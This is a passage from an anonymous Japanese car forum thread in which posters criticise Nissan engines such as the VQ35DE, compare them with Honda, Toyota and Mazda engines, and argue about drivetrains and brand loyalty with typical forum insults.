05/08/15 11:42:00 NM3Da/1j0
>>5
しかしだ、VQ35DEの吹け上がりの頭打ちといい・・・出力もあまり、出てな
い？感はなんだろう。 低回転のトルクはあるけれど、フル加速すると、6000以上
が辛い。 借りた車で、そんな乗り方をするのは俺だけかもしれないが・・・。
11:名無しさん＠そうだドライブへ行こう
05/08/15 12:17:07 S8i46zOm0
>>10
今の時代に高回転ギンギンのEgを求める人は少ないと思う。
３ℓクラスEgはトルクに乗ってゆったりといったフィーリングが似合うかと。
VQ35DEで6000rpm以上回す人、少ないでしょ？
12:名無しさん＠そうだドライブへ行こう
05/08/15 12:20:21 LIJWlExB0
糞な２だが言わせて貰うと
単純にVQ35とエンジンだけで上を回さないと判断するのはどうかな？
Z33に載ってるVQとE51に載ってるVQでは明らかに求める特性は違うんだから
13:名無しさん＠そうだドライブへ行こう
05/08/15 12:21:34 yHo8obdkO
つーか、１は対決スレでＧＴ-Ｒに負けたポルシェ派のヤシ
あんまり多くの人に迷惑かけるな。
14:名無しさん＠そうだドライブへ行こう
05/08/15 12:22:14 U220wPJTO
>>11
35で6000以上回すのは勘違いしたガキだけ。
15:VY30
05/08/15 15:09:49 77XNK45L0
A１２型は名機だろ。
あと、その他Aシリーズ、L型。
セドに載ってたVG３０もイイんでない？
16:名無しさん＠そうだドライブへ行こう
05/08/15 15:40:55 NM3Da/1j0
>>11-12
たしかに、そうだよな・・・。 6000rpm回している俺って、KA-9を借りた時も
同じように・・・回したが、両者、吹けの違いにちょっと・・・って思った。 >>14
のようにおとなしく乗れっていうことか。 あの頭打ちになる感覚さえ無ければなっと
残念に思ったり。
17:名無しさん＠そうだドライブへ行こう
05/08/15 15:49:20 3rEdS4dt0
日産は顧客から害基地を排除できるから、なんの問題もないね。
18:名無しさん＠そうだドライブへ行こう
05/08/15 16:35:53 hAARtvXl0
回るエンジンが良いエンジンって幻想が糞だね。
19:>>15
05/08/15 17:20:22 NM3Da/1j0
>>17
害キチって。 まぁ、Z33とかV35で、VQ35DEの吹け上がりに頭打ちがあ
るというだけであって。 低速、中速トルクがあるのは認めるし、町中の使い
勝手の良さ（ストップアンドゴー時のピックアップトルク）も認めるエンジン
だけれどね。
>>18
シングルプレーンクランクのレーシングカーエンジンのようならね。んなの、
フェラーリとか以外の、普通のロードカーにはいらないよな。 極端な低速スカ
スカの馬力重視はいらないね。
20:名無しさん＠そうだドライブへ行こう
05/08/15 20:22:16 Oi9BkGQ+0
ｴﾝｼﾞﾝに無駄が多いのでいじるにはｲｲ。
頑丈だし。
ノーマルがｲｲならﾎﾝﾀﾞか与太の買えばｲｲ
21:名無しさん＠そうだドライブへ行こう
05/08/15 20:23:19 na8dwXMi0
糞はふんでもアノくらい糞だといいね
22:名無しさん＠そうだドライブへ行こう
05/08/15 22:43:41 17petIUf0
「回さない」と「回らない」は違うから。
7000rpmまできれいに回るエンジンは低・中回転域でも気持ちいいし
逆に5000rpm越えて回したくないようなエンジンは低・中回転域でも
運転してて気持ち良くない。
まあ「そこまで回す必要がない」と言ってしまえばそれまでだが、
少なくともここに参加するような車好きが言うべきセリフじゃないよなｗ
アメリカンＶ８みたいに回さなくても有り余るパワーとトルクがあるとかなら話は別だがね。
23:名無しさん＠そうだドライブへ行こう
05/08/15 23:35:19 VTy0fD+x0
やっぱりホンダオタの立てたスレだったのか
24:名無しさん＠そうだドライブへ行こう
05/08/15 23:50:05 YyJwjyLA0
設計が古いんでしょ
25:名無しさん＠そうだドライブへ行こう
05/08/16 00:16:54 uFR1H5Dv0
つーか別に日産シンパでもないが、日産の将来を憂いている。
それこそ９０１時代の日産は元気だった。ＳＲは少々雑な感じはしたが元気のあるエンジンだったし、
ＲＢなんかかなり高回転を好む性格のエンジンだった。
それが完全にＶ６に転換したまではいいが、ＶＱのあのふざけ具合は何なんだよ？
2.5Lなんて６気筒らしい静粛性もないしトルク感も希薄（エルはスロットル開度で誤魔化してるのか？）
3.0Lもトルクこそあるように感じるが静粛性も官能性もない。
実用エンジンと割り切るにしても中途半端すぎる。あのエンジンがスカイラインを殺した。
3.5Lの取り柄はトルクだけ。それも排気量相応といったところ。到底スポーツエンジンではない。
あのエンジンを載せた車をスポーツカーと名乗るんだから往年のＺ乗りはたまったもんじゃない。
アメリカではウケたかもしれないが。
「回して乗るのは似合わない」だの言い訳も出ているが、うまいこと日産の口車に乗せられたな。
サンヲタのそういう思考が日産を堕落させたんだよ！
それと今も日産の主力エンジンであるＱＲ。あれはトヨタの糞Ｄ４エンジン以下！
日産が実用車優先の戦略で行くならいいが、それは車ヲタを捨てるってことだよな。
旧来のサンヲタを切り捨てるための戦略であるというなら賛成だがｗ
ＨＲ系はまだ乗ってない。なんかいい評判は聞くけど。
せっかくルノーと組んでるんだから、ＴＷＲに協力してもらうとか、あるいはＧＴＲ開発で
名前の挙がったコスワースでもいい、もっといいエンジンを本気で開発して欲しい。
26:名無しさん＠そうだドライブへ行こう
05/08/16 01:05:34 no9UE4380
>なぜアンチ日産スレだけ異様に少ないのか、疑問に思ったことはないか？
>理由は簡単なことである。アンチ日産スレは、立てても
> 漏 れ な く 必 ず 削 除 さ れ る ！
>>1はこれを証明したいんだとさ。
27:名無しさん＠そうだドライブへ行こう
05/08/16 07:13:54 Ih99jC4l0
GA15DE
28:名無しさん＠そうだドライブへ行こう
05/08/16 07:35:56 UEOn6T9Q0
G7やS20最高傑作だ
もう作れないのかなぁ
29:名無しさん＠そうだドライブへ行こう
05/08/16 07:42:36 UEOn6T9Q0
>>1
これらの車乗ったことのない香具師
一度乗って見ろケロ
人生観もかわるぞ
URLﾘﾝｸ(page4.auctions.yahoo.co.jp)
URLﾘﾝｸ(page9.auctions.yahoo.co.jp)
URLﾘﾝｸ(page13.auctions.yahoo.co.jp)
30:名無しさん＠そうだドライブへ行こう
05/08/16 09:21:08 JCywLdK70
>>25
ほぼ同意。
ＲＢ20Ｅに乗ってるが、Ｖ35の2500試乗したらあまりにつまらなかったｗ
31:名無しさん＠そうだドライブへ行こう
05/08/16 10:28:38 p9uwoadm0
>>27
GA15DE
ありゃ名機だね。
当時のファミリーエンジンの1500ccのくせして180km/h近く出てた。
タイミングベルトじゃなくてチェーンだし耐久性もある。
おまけに燃費も良い。
欠点はエアフロとシール類が弱いって事だな。
32:>>15
05/08/16 11:23:59 KfLkYbbL0
>>25
同じく、ほぼ、同意。 最近の日産車は、VQ35DEをマルチで使うから、どうしても、
吸排気、制御系中心のチューニングで専用設計ができない。 特にVQ35DE搭載車を乗り
回して、思ったことは上記の通り。 14.0km/hまでの加速に文句はつけないが、それ以上
の速度域、回転数、そして、ファーストギア、セカンドと法定速度内での吹けが悪い。 本音
を言ってしまうと、イナーシャが弱い国産車の中でも、更に弱い。 改善点があるんじゃな
いかと思っているんです。 キャリーオヴァーして、コストダウンを目的に作られたエンジン
ではあるけれど、それだけに、エルグランドなどのミニヴァンからティアナ、スカイライン、
フーガ、Zまで使われている。 スカイラインとZにとって、VQ35DEの吹けの悪さは致命的
だと思ったのですが・・・。 ちなみに、私は単なる車ｦﾀｸです。 ｻﾝｦﾀ、ﾝﾀﾞｦﾀでもありませぬ。
33:名無しさん＠そうだドライブへ行こう
05/08/16 12:47:31 of1XpLfj0
.
34:名無しさん＠そうだドライブへ行こう
05/08/16 12:53:36 8eDbBWxM0
私、女だけど
そういう懐古主義なのはよくないと思います
35:名無しさん＠そうだドライブへ行こう
05/08/16 12:57:35 EG/G6IuV0
>>31
禿同
N14-X1X乗ってたけど、吹け上がりがちょっと眠かったのを除けばよかったね。
10万km超乗ったけど、トラブル皆無だった。
36:名無しさん＠そうだドライブへ行こう
05/08/16 12:57:54 j+00N3k90
親戚がデザイナーをしていた関係で、十年位前まで日産オンリーだったが、
辞めたのでホンダ、マツダに乗り換えた（それぞれ４年・６年乗った）。
現在スバルレガシィ２年目。
なんつうか、日産の時はハズレ引いただけっだったのかもしれないど、
車ってこんなにも壊れないものなのか、という感じだ。
37:名無しさん＠そうだドライブへ行こう
05/08/16 13:30:30 Zqgztyz0O
今までを総合すると日産ダメ。VQ35のダメぶりには
完全に同意。>>32さんはかなり詳細に調べましたね。
俺もトルクがあるだけだと思いました。寧ろ3GRのほうが
速いし燃費がよく吹けもいいとはどういうことか？
レクサスが出たら尚更風当たりが強くなろう。
38:>>15
05/08/16 15:39:56 /vUYuuNO0
>>37
いや、単なる車ｦﾀｸ。 でも、乗って、「あぁ！楽しい。」っと言える車を探していると、
そういう些細なことに気付いたりする。 でも、他の人にはどうでも良いことなのかと、
思っていたけれど、日産スレが立って、乗った車についてのインレッションを書いてみようと。
私個人のホームページでコソコソ書いているよりは、2chで書いた方が良いかなと。 なんか、
陰湿じゃないっすか、自分のページだけでそういうインプレッションを書いているのって。
39:名無しさん＠そうだドライブへ行こう
05/08/16 16:13:03 of1XpLfj0
.
40:名無しさん＠そうだドライブへ行こう
05/08/16 16:38:21 ry8iE+eQ0
>>38
どうでもいいけど、句読点使いすぎで逆に読みにくい
41:名無しさん＠そうだドライブへ行こう
05/08/16 17:45:53 of1XpLfj0
a
42:名無しさん＠そうだドライブへ行こう
05/08/16 17:50:12 eKbF5z/30
Ｚ専用に最近改良されたＶＱ３５は秀逸ですね
高回転の伸びがまるで違う
43:名無しさん＠そうだドライブへ行こう
05/08/16 18:15:26 DxM1fMLJ0
ＣＤ１７は糞です。
いいところは、ただ高回転まで回るところだけ。
44:名無しさん＠そうだドライブへ行こう
05/08/16 18:41:26 gJDgvZ+i0
SR20VETってどうなんですか？
45:名無しさん＠そうだドライブへ行こう
05/08/16 18:56:14 Zqgztyz0O
>>38
そうですか、私も似たようなもんですよ。
乗っていて苦痛を感じたり眠気を催すクルマは
叩かれるべきだし、そんな物を作ったメーカーの良識が
疑われて然るべきだと思います。
最近の日産はそんなクルマが多いですね。
ルノーにしてもCMで「退屈へのレジスタンス」なんて
言ってますけど殆どを占める前を向いて運転することが
退屈なクルマなのに何を言っているんだと頭に来ます。
まったく日産・ルノーはどうなるんですかね？
ダメなクルマだと一般消費者も気付きますよ。
46:名無しさん＠そうだドライブへ行こう
05/08/16 19:46:20 6OGYwkx60
全然スレと関係ないけど>>38がスバル車乗りなら十中八九俺の上司。
47:名無しさん＠そうだドライブへ行こう
05/08/16 20:33:15 ry8iE+eQ0
おぉっと！ここで意外な展開！
>>38に期待！
48:>>15
05/08/16 20:34:38 3IedAHL10
>>42
ATのシーケンシャルモードにもブリッピング機能の追加があったとのこと。 チューンを
受けてからは乗っていませんが、変化がわかるくらいのチューニングであることを願います。
誰か・・・Zに乗っている人を・・・探さねば。
>>45
「退屈へのレジスタンス」、たしかに、乗っていて快適な車はありますが、スカイライン、
Zなどの”スポーツ性”を謳い、ウリにしている車では、逆効果っていうのもありますね。
購買層の年齢も意識して開発したのでしょうけれど、ユーロチューンの足回りに見合った
エンジンを期待してました。 VG30DEも知っているのですが、それ特有の雑な感じはなく
なっていました。
駄目とは言わず、あと一歩！っていう感じなんです。 ただ、乗っていて、そう思っただけ
なんです。
日産は、ルノーが入って、経営体質が見直された。 不動産売却等で企業としては良くなっ
たのですが・・・。
49:名無しさん＠そうだドライブへ行こう
05/08/16 21:43:25 e7qXVEy30
なんかガキくさいレスばっかだな
50:45
05/08/16 21:51:19 Zqgztyz0O
>>48
財務体質は確かによくなりましたが、コスト削減の嵐で
削ってはいけない所まで削っている結果、まとも
ではないクルマしか出せなくなりましたよね。
日本車も運動性能が軒並み欧州車に肩を並べるまでになり
その中で日産は様々な意味で立ち後れています。
このままでは業績を今以上に向上させることは出来ませんね。
ユーザーを欺くことは、どういうことか気付いてほしいです。
51:名無しさん＠そうだドライブへ行こう
05/08/16 22:18:08 YdYW4Wlm0
ＶＧ３０ＤＥＴのＹ32セドリック良いよけっこう。
52:>>15
05/08/16 22:38:23 3IedAHL10
>>50
確かにそうですね。 一つのエンジンでミニヴァンからスポーツカー、高級車まで、
FR、FFを問わずに採用し、キャリーオーヴァーでコストダウンを行った。 日産の姿勢
は、企業として利益を追求する面でもっともなのですが、貴殿の書き込みの通り、コスト
ダウンも行き過ぎたところがあります。 私は前記の通り、単なる車ｦﾀｸに過ぎませんが、
日産に限らず、いくつかのメーカーも”安易な部品選択”をしていると感じています。
採用されているタイア、ブレーキ等。 実際、踏んでみるとわかるのですが、”妥協”して
いるなっというのが明らかに分かるときがあります。 加速しても、それは感じられたり
します。 特にそういう問題点は、私なんかの一ｦﾀｸよりも、メーカーの皆さん、特に開発
部門、部品メーカーで働いている方々は気付いているのではないでしょうか。
エンジンの話から脱線してしまいましたが、実際、レンタルしたり、他の人の車を運転
する機会があれば、色々と自分が乗っている車と彼我比較をしたりします。 日産車は、
まだ、良くなった方です。
先代のセレナに乗る時がありましたが、側面衝突のことを考えているのか？っと思った
記憶があります。 当時、カルロス・ゴーンさんが社長の座に就いて日産リバイバルプラン
が遂行されていたころです。 あの車体に2.5リッターのエンジンまで搭載されましたが、
無理矢理感がありました。 エンジンの開発費消却の為と、余裕を与えるつもりだったの
でしょうけれど、あのボディで2.5リッターっというのは、走安性にも響いた筈です。
53:>>15
05/08/16 22:48:32 3IedAHL10
今の日産はたしかに、遅れている感はあります。 トヨタはブワンブワンで柔らかくて、
”曲がらない。”、ホンダ車は、”ペナンペナンの鉄板車”と揶揄されていましたが、昔から叩
かれていましたが、だいぶ前にそのようなことは改善されていました。 たしかに、全てが
全てではありませんけれどね。
日産は・・・、塙社長が在任中に、だいぶ、遅れをとってしまった。 今でも、その影響
がエンジニアリングに響いている。 セレナを例に取り上げたので、続きを書きたいのです
が、営業に支障が出ると問題なので。
54:名無しさん＠そうだドライブへ行こう
05/08/17 10:03:42 QJlbwHBu0
燃費悪いし吹け悪いし
55:名無しさん＠そうだドライブへ行こう
05/08/17 10:12:32 DMWrgfnN0
>>1
このスレなかなか削除されないな。
56:名無しさん＠そうだドライブへ行こう
05/08/17 11:10:00 7Z3A1Xni0
削除されれば「削除人はサンヲタ」説が証明されるし
されなければサンヲタの被害に遭ってる奴らの溜まり場になる。
どっちに転んでもＯＫってことじゃない？ｗ
57:>>15
05/08/17 11:15:38 rZYHtkXN0
何？なんか、何方に転ぶかわからない、オー人事のCMのような状態のスレッドなの？
どうりで、ｻﾝｦﾀとﾝﾀﾞｦﾀがいると思った。
58:名無しさん＠そうだドライブへ行こう
05/08/17 11:21:20 7Z3A1Xni0
>>57
まあそう固いこと言うな
59:名無しさん＠そうだドライブへ行こう
05/08/17 11:28:10 uBUn4nkQ0
日産以外のメーカーの罵倒スレの多さを見ると
車メ板の住人の半分以上が日産党じゃないのかと思ってしまう
60:名無しさん＠そうだドライブへ行こう
05/08/17 11:29:35 7Z3A1Xni0
>>59
言うなればこのスレは「踏み絵」ってことだｗ
61:名無しさん＠そうだドライブへ行こう
05/08/17 12:05:39 7Z3A1Xni0
今からお昼ご飯だ。
あげとこ。
62:名無しさん＠そうだドライブへ行こう
05/08/17 13:18:38 m3WrE/Za0
>少なくともここに参加するような車好きが言うべきセリフじゃないよなｗ
自称車好きの９割が池沼と害基地
63:名無しさん＠そうだドライブへ行こう
05/08/17 14:08:47 7KAWNj4X0
たしかに日産のエンジンはひどいよな。
トヨタを真似たＶ８はカスだし
ホンダを真似た可変リフトは消滅したし
三菱を真似た直糞も消滅したしな
元気よかったのは直６とターボがあった頃。
今の日産は本気でヤバイと思う。
64:名無しさん＠そうだドライブへ行こう
05/08/17 14:16:27 +54y7ecCO
販売台数二位もホンダに勢いがないからであって
ホンダがある程度ヒットするモデルを出せば簡単に
引っ繰り返ると思う。マツダに勢いがあるから
まだ大きな差とはいえシェアに影響してくるのは避けられないな。
ま、粗悪品作ってシェア減らすのは当然なんだけど。
65:名無しさん＠そうだドライブへ行こう
05/08/17 14:20:29 jHBlwLY40
日産の４気筒エンジンはどうなの？
66:名無しさん＠そうだドライブへ行こう
05/08/17 14:23:58 vHkvBoGb0
>>53
句読点、を、減らした、方が、読み、やすいよ。
67:名無しさん＠そうだドライブへ行こう
05/08/17 14:37:16 7KAWNj4X0
ＱＲ系はダメダメ！
静粛性と燃費は並のレベル。
パワーもトルク感も希薄だし、官能性も当然ナシ！
２ｃｈで直糞とこき下ろされたトヨタのＤ４エンジンですら今はだいぶ良くなったのにね。
国産エンジンで４気筒なら、ンダヲタと言われるかも知れんがやはりホンダのＫ型。
150psの実用エンジンから220psのハイチューンまでこなす間口の広さと
ハイレベルのエミッションコントロール性能など、登場当時は世界最高の４気筒とまで言われた。
今は欧州勢が盛り返してきたが、それでもまだ世界トップクラスのエンジンと言えるだろう。
あとはマツダのＭＺＲエンジンだな。特に2.3Lはバランサーシャフト入ってて
高回転まできれいに回る。スポーツエンジンではないが音やトルクの出方など、
官能性は国産４気筒では今現在ナンバー１だろう。
日産は、せっかく技術はあるのに出し惜しみしているのかコストカットのためか
今のエンジンはどれもつまらん。
いつまでもサンヲタに「ＲＢ２６最強！」とか言わせているようじゃ、かわいそうだよ。
68:Ｓ２０☆大阪５５ナンバー
05/08/17 14:41:09 UbQWKPdZ0
Ｓ２０エンジンが最高なんだよ
69:>>15
05/08/17 14:42:48 rZYHtkXN0
>>63
何言っているの？マジレスしちゃうと、V-8系はVR系の流れを汲んでいる為、
低速スカスカなんじゃないっすか。 日産はヨタの真似はできないし、しないと
思う。 J Ferrieや32シーマ、Q45なんかが良い例。
70:名無しさん＠そうだドライブへ行こう
05/08/17 14:43:52 CiylaW+S0
>>67
禿胴
71:名無しさん＠そうだドライブへ行こう
05/08/17 14:53:53 NpL5M25x0
新旧問わずとにかくオイル漏れするよ、日産車は。
マーチ＆キューブに搭載のCR系は新車から半年でE/GとT/Mの
継ぎ目からオイル滲んできてるし、１～３年目くらいでロッカーカバーの
パッキンが駄目になるし･･･
ヘッドガスケットがやられるQG系よりは良いけどな。
72:名無しさん＠そうだドライブへ行こう
05/08/17 16:12:15 7Z3A1Xni0
オイル漏れじゃないが、>>67の言うホンダのＫ２０Ａはたしかにいいエンジンだが
オイルの消費量が半端じゃないらしい。
オーナーが冗談で「減った分を継ぎ足していけば交換しなくても平気かも」と言ってしまうぐらいｗ
そろそろ日産の本気のスポーツエンジンが見たいな。
73:名無しさん＠そうだドライブへ行こう
05/08/17 16:17:44 xKHR2bly0
>>72はK20Aと旧型のF20Bを混同している、に10000ゴーン
74:名無しさん＠そうだドライブへ行こう
05/08/17 18:56:14 +54y7ecCO
日産の本気・・・期待出来ないねぇ
75:>>15
05/08/17 19:44:08 mbZEN1Ku0
>>74
もまいら、目産を叩き過ぎ。
76:名無しさん＠そうだドライブへ行こう
05/08/17 20:46:43 7Z3A1Xni0
>>75
そのためのスレだからねえ
77:名無しさん＠そうだドライブへ行こう
05/08/17 21:24:04 MtFV4RXk0
77
78:名無しさん＠そうだドライブへ行こう
05/08/17 21:27:18 7k2yFphp0
日産叩くスレって珍しいね
２ちゃんにいる連中はスポ乗りが多いと思ったけど
スポならシルビアやスカGで育ったはずなんだが・・・
79:名無しさん＠そうだドライブへ行こう
05/08/17 21:46:35 7Z3A1Xni0
ここは削除人がサンヲタかどうかを証明する踏み絵スレだからな。
けっこうスレが延びてるから、削除人も警戒してるのかもしれない。
80:名無しさん＠そうだドライブへ行こう
05/08/17 21:52:24 ra49w7Ga0
シルビアはわからんけどスカ乗ってた人たちは結構スバルなんかに流れたんでしょ。
81:名無しさん＠そうだドライブへ行こう
05/08/17 21:59:41 7Z3A1Xni0
ところで、前々から思っていたことがあるんだが・・・
なぜか日産乗りってホンダを嫌う傾向があるんだけど、
どうしてなのかどなたか理由分かりますか？
82:名無しさん＠そうだドライブへ行こう
05/08/17 22:13:57 wn0Fgw9D0
>>82
そうなんだー、俺、まさに日産乗りのホンダ（車というより乗ってる奴）嫌いW
嫌う理由は、やけにいきがった運転する奴が多いのよ、ンダ乗りは。
FITやら、ステップワゴンが特にウザくて、二車線道路などを
ジグザグに無理目に前の車を抜いていく。まだ、レジェンド等２００ＰＳ
以上のレベルの車なら分かるが、クソ遅い車でなぜにがんばる！！怒
83:名無しさん＠そうだドライブへ行こう
05/08/17 22:15:45 Vv+YH2h40
ホンダはＦＦスポーツカーが本業
Ｓ2000はオープンだし2シーターだから
84:名無しさん＠そうだドライブへ行こう
05/08/17 22:19:54 7Z3A1Xni0
>>82
まずアンカーはしっかりつけような
それはいいとして、それは君が日産車に乗っているから
オレは今は某国の輸入車なのでとても平等な視線で見ているが
マナー悪いのは日産にも多いぞ。
勘違いフルチューンのスカイラインやシルビア、ＶＩＰ仕様のローレルやセドグロなど
これらの爆音マフラーは聞くに耐えない・・・
ま、お互い様ってことだし、自分がちゃんとしてりゃいいんじゃねーの？
85:名無しさん＠そうだドライブへ行こう
05/08/17 22:37:02 nFW+KLl50
FFでスポーツカー？（´,_ゝ`）ﾌﾟｯ 笑わせんな
FFなんて貧乏体臭車に毛が生えた程度のもんだろ
走っても遅いし、なによりスポーツカーに大切な「運転の楽しみ」がない
俺は代々FRばっかり乗ってて今は日産のFRスポーツセダンだが
FFのスポーツカーなんて断じて認めないぞ
86:>>15
05/08/17 22:42:57 EWinbbOw0
>>82
あのぉ～・・・ホンダオーナーだけに限らず、そういう運転の人間はｺﾞﾏｿと普通にいま
す。 ちなみに、ホンダの車は鈍くないっすよ。 ですが、ホンダは理由があって買う予定
はありません。 父親は買う勢いが・・・あるのですが、理由を考慮すれば買う気にならな
い筈ですけれど。
87:名無しさん＠そうだドライブへ行こう
05/08/17 22:43:51 7Z3A1Xni0
>>85
その手のネタは２ｃｈでもヤフーでももう聞き飽きた
88:名無しさん＠そうだドライブへ行こう
05/08/17 22:44:51 KT40GfGu0
日産のFRスポーツセダン…？
そんなのあったっけ？ないだろ。ネタ？
89:名無しさん＠そうだドライブへ行こう
05/08/17 22:48:59 RTdn3O5P0
>>85に認められることのメリットについて
90:名無しさん＠そうだドライブへ行こう
05/08/17 22:50:44 7Z3A1Xni0
マジレスだけど、同等スペックであればＦＲとＦＦであればＦＦのほうが速い。これ常識。
ただ大パワー車はトラクションをかけやすい後輪駆動のほうが有利。
ところがＦＲ車の多くは軽量化に限界がある。スポーツカーは軽さが命。
そこでＦＦコンパクトスポーツですよ。
なお、ＦＦスポーツを否定すると言うことは、ＪｒＷＲＣの存在も否定することになるよ。
まあドリフト遊びしかしてない基地外ＦＲ乗りに言っても無駄かもしれないけど。
91:>>52
05/08/17 22:51:05 EWinbbOw0
何も無い。
92:名無しさん＠そうだドライブへ行こう
05/08/17 22:52:20 7Z3A1Xni0
>>89
今思い出した。
>>85は、きっと頭文字Ｄのイツキ君だｗ
93:名無しさん＠そうだドライブへ行こう
05/08/17 22:53:06 +54y7ecCO
まぁどんなメーカーのクルマにも悪いオーナーはいるはず。
今日は右折待ちをしていたらアコード・ユーロRが道を
譲ってくれた。だが前を走っていたフィットは
タバコをポイ捨て、ウィンカーもあげない。
スーパーの駐車場で２台分を使って停まっているマーチがいた。
だが狭い道でこちらを見るなりすぐにバックしてくれた
フーガがいた。すれ違う時も私が礼をすると
相手のドライバーは笑顔で返してくれた。
だからクルマで人間性は推し量れないよね。
わかりやすい例もあるけど。
94:名無しさん＠そうだドライブへ行こう
05/08/17 22:54:21 RTdn3O5P0
>>92
なるほど85か
95:名無しさん＠そうだドライブへ行こう
05/08/17 22:54:23 7Z3A1Xni0
>>93
素晴らしい！
96:名無しさん＠そうだドライブへ行こう
05/08/17 23:50:22 7Z3A1Xni0
気がつけば完全にスレ違いだな・・・
逆に今の日産で素晴らしいエンジンって何かある？
97:名無しさん＠そうだドライブへ行こう
05/08/17 23:52:35 aJ5A4wDs0
MR２０DE
98:名無しさん＠そうだドライブへ行こう
05/08/17 23:54:44 7k2yFphp0
日産のＶＱ３５エンジンが米誌の１０ベストエンジン賞に
URLﾘﾝｸ(www.auto-g.jp)
99:名無しさん＠そうだドライブへ行こう
05/08/18 01:36:41 VZEBG/rH0
何年前の話だよw
つーかその頃までのアメ公は燃費が悪くて大味なエンジンが大好き
100:カルディナＧＴ－ＦＯＵＲ
05/08/18 07:09:34 j3CW5q9/0
100
101:VY30
05/08/18 07:47:06 PmgnC+xX0
素晴らしいエンヂンと言えば、
A10～A15、L２０～L28、VG30、TD42
TDはバス海苔なら知ってるはずさ。
102:VY30
05/08/18 07:52:06 PmgnC+xX0
この前と似たこと書いた。 スマン
103:名無しさん＠そうだドライブへ行こう
05/08/18 09:02:02 uVW0ABNm0
>63
可変リフトも直噴もまだありますが・・・
104:名無しさん＠そうだドライブへ行こう
05/08/18 12:43:15 L2SbSW/h0
>>103
でも死に体
105:名無しさん＠そうだドライブへ行こう
05/08/18 13:12:52 k9z92hC80
>>101どこが日産製じゃ
Ａ型はイギリスのフルコピーだし
Ｌ型の元はプリンスがボアストロークまでベンツの
コピーして作ったエンジンだろ
それとＶ６で名機って言われた物は今のところ無い
百歩譲ってＶＧならＶＱの方がまだいいエンジンだぞ
106:名無しさん＠そうだドライブへ行こう
05/08/18 13:21:08 L2SbSW/h0
>百歩譲ってＶＧならＶＱの方がまだいいエンジンだぞ
じゃあVGって本当にどうしようもないエンジンだったんだ
しかし日産って他社のこと言えないぐらいパクリまくってたんですね。
びっくりしました。
107:名無しさん＠そうだドライブへ行こう
05/08/18 13:27:32 4TY8fxra0
ほんと最近の日産て技術なんて関係なく
使い勝手ばかり研究してるみたい。
糞車の連発
108:名無しさん＠そうだドライブへ行こう
05/08/18 13:35:07 L2SbSW/h0
「デザインをシフトする」とか、
「○○をシフトする」ってのが今の日産のキーワードなようだが
まさか、かつての教訓を忘れてはいまいな？
「変わらなきゃ」と言いながら、結局変わることができず
外資の手に堕ちた過去を・・・ｗ
109:名無しさん＠そうだドライブへ行こう
05/08/18 13:39:57 aAKJh1zk0
自分で変われないから外資に買えてもらったんじゃん
110:名無しさん＠そうだドライブへ行こう
05/08/18 14:29:02 Nq+7Hotc0
それなのに他メーカーを馬鹿にするとはいい度胸だ
111:名無しさん＠そうだドライブへ行こう
05/08/18 15:40:11 hdC70v9T0
1はヨタヲタ
2JZが世界が認めた世界一のエンジンとか言ってる奴だろ？ｗ
まあ2JZを世界が認めたソースなんて1つもないわけだがｗ
VQならとりあえず10ベストエンジンに現役でノミネートされ続けているという
ソーズはちゃんとあるけどな。
112:名無しさん＠そうだドライブへ行こう
05/08/18 15:44:58 sjzTJ+z20
日産車、トヨタ車は１０年くらい平気で乗れるが
HONDAの車はキッチリ５年で機嫌が悪くなってくる希ガス。
ソニータイマーみたいなのが仕掛けてあるような気がする。
113:名無しさん＠そうだドライブへ行こう
05/08/18 15:51:59 hdC70v9T0
初代オデッセイなんて今ほとんど見ないな。
しかも馬鹿ＤＱＮぐらいしか乗ってなくてボロボロ。
'94発売だから11年たってるわけだが、ほとんど見ない。
同時期にでたA32セフィーロなんかまだワンサカ走ってるってのにね。
114:名無しさん＠そうだドライブへ行こう
05/08/18 16:12:40 Gee+jN0QO
A32も見ないぞ。90ﾏｰｸ２はよく見るがな
115:名無しさん＠そうだドライブへ行こう
05/08/18 16:44:10 TS3Sdqj50
A32ってかなり走ってるぞ。C34も。
A31、C33は珍走車ばっかでノーマルはだいぶ減ってきたが…
116:>>52
05/08/18 16:58:38 2nNmOvV70
C32は絶滅危惧種指定。 ちなみに、初代オデッセイはYahoo Auctionに、沢山出て
いる。 そんな、両者どっこい、どっこい。 ちなみに、80マーク�は、今でも見るけ
れど、70はもう見ない。
117:名無しさん＠そうだドライブへ行こう
05/08/18 17:57:27 /fmK0PXE0
しかし、セフィーロを引き合いに出すあたり、長野県のにほいがｓ（ｒｙ
118:名無しさん＠そうだドライブへ行こう
05/08/18 18:54:49 v5AItPOa0
>>52
あの、2500が設定されていたセレナは、
元はといえば、つぎはぎだった
サニーのエンジン周りに、アベニールのリアサスペンションを組み合わせたもの。2500ディーゼルターボに対応するため、
強化はされているが。
個体差が激しい、とだけ言っておこう。
119:名無しさん＠そうだドライブへ行こう
05/08/18 19:08:30 k0Otkc6R0
>>114
>90ﾏｰｸ２はよく見るがな
さすがに90系は最近めっきり減ったよ。
貧乏人のジジイの乗ってるボロボロの90か、
ヲタの乗ってるボロツアラーくらいしか最近は見ない。
しかもマークⅡは減っていてクレスタと同じくらいしか見かけない。
オデッセイからマークⅡに話題をすり替えようとしても無駄ｗ
しかし、初代オデッセイは90系3兄弟より走ってないんだから、
いかに耐久性が無いかが判るなｗ
120:>>52
05/08/18 19:08:40 p0XAHYtE0
>>118
シビックのプラットフォームをベースにストリームを作ったﾝﾀﾞのこともあるけれど、
あのクラスのミニヴァンって、コスト削減の煽りをもろに受けていますよね。 他の
ところも同じような車種が・・・。
121:名無しさん＠そうだドライブへ行こう
05/08/18 19:10:49 lBl+jKg90
> しかし、初代オデッセイは90系3兄弟より走ってないんだから、
> いかに耐久性が無いかが判るなｗ
これで耐久性計ってるんだ？
ワロス
122:名無しさん＠そうだドライブへ行こう
05/08/18 21:05:12 /fmK0PXE0
日産のなかでは銘機に数えられるＳＲとＲＢだが
その頃はバブルで日産も資金が潤沢にあり、トヨタに追いつけ追い越せと
していた時期だけにコストもかかっていたいいエンジンだった。
でも今の日産のエンジンは、どれも「失われた１０年」に作られたものばかり。
ルノーと共同開発したという新エンジンのＭＲも微妙だな。
123:名無しさん＠そうだドライブへ行こう
05/08/18 21:08:16 VZEBG/rH0
SRは駄目エンジンの部類に入るぞ
124:名無しさん＠そうだドライブへ行こう
05/08/18 21:14:37 TSm7o+gX0
安いエンジンだ
125:名無しさん＠そうだドライブへ行こう
05/08/18 21:34:00 aAKJh1zk0
ＤＥＴだけはは良いよ
126:名無しさん＠そうだドライブへ行こう
05/08/18 21:54:43 /fmK0PXE0
チューンしなかったらただの駄エンジンってことか。
トヨタの３Ｓや三菱の４Ｇ６３と同じだな。
127:秋名スピードスターズの下っ端
